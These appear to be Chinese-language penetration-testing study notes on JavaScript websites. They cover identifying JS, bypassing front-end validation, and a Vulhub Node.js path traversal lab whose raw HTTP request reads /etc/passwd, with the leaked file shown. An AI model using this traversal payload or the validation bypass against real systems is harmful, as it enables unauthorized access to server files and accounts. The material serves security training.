解析性语言与前端语言的区别:

解析性语言前端与后端的代码量不一致。(有隐私,黑盒测试)例如:PHP,java
前端性语言基本上前后端代码量对等。(无隐私,白盒测试)例如:js,html

1、原生JS&开发框架-安全条件
2、常见安全问题-前端验证&未授权

安全条件-可控变量&特定函数

# JS渗透测试:存在可控变量和特定函数即存在JS参数漏洞

- js代码原生态,全部暴露在前端 ==> 能给更多的信息给我们参考。
- 识别JS的方法:
1.插件识别:wappalyzer(浏览器插件)
2.前端页面查看源代码识别 ==> 浏览器右键查看源代码,源代码分为:
2.1.引入js--从外部引入的JS文件
2.2.嵌入JS--嵌套在源代码当中的js
3.审查元素识别:浏览器开发者模式的Network ==> JS文件越多,越证明其为JS网站/利用JS实现功能
4.简短代码的JS嵌套:代码简短,但实际运用到的js全部在引用文件当中。
=> <script type="text/javascript" src="join.js"></script>
5.特征JS文件:特殊名字的JS文件可能存在着JS功能实现代码,例如app.js,static.js,js.js
JS验证代码逻辑全部暴露在前端 ==> 白盒测试,抓包绕过前端代码逻辑,可能出现无验证重置密码,可以直接绕过检测直接重置对应账号的密码。
6.特征参数:cookie中有connect.sid

- 当网站将验证什么的都放在JS时,使用网站下载器下载网站并且修改其中的内容,注释掉关键的JS再二次使用,等同于直接绕过了JS验证

开发框架-Vulhub-Node.JS安全

框架是为了便捷我们的开发,他人提前写好的。开发时直接调用框架相关内容即可。
它会帮我们提前写好很多东西并且封装好,方便我们调用。
# 缺点:如果爆出漏洞,使用它的网站就遭殃了。

# 国内最出名:VUE,Node.js

node.js路径穿越漏洞

# 发包
GET /static/../../../a/../../../../etc/passwd HTTP/1.1
Host: 192.168.232.134:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

# 收包
HTTP/1.1 200 OK
X-Powered-By: Express
Accept-Ranges: bytes
Cache-Control: public, max-age=0
Last-Modified: Wed, 13 Sep 2017 20:05:31 GMT
ETag: W/"4d4-15e7cd8b6f8"
Content-Type: application/octet-stream
Content-Length: 1236
Date: Sun, 14 May 2023 08:21:36 GMT
Connection: close

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:103:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:104:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:105:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:106:systemd Bus Proxy,,,:/run/systemd:/bin/false
node:x:1000:1000::/home/node:/bin/bash

获取和挖掘JS

- 如何获取更多的JS文件?
JsFinder
Packer-Fuzzer
扫描器后缀替换字典

- 如何快速获取价值代码?
method:"get"
http.get("
method:"post"
http.post("
$.ajax
service.httppost
service.httpget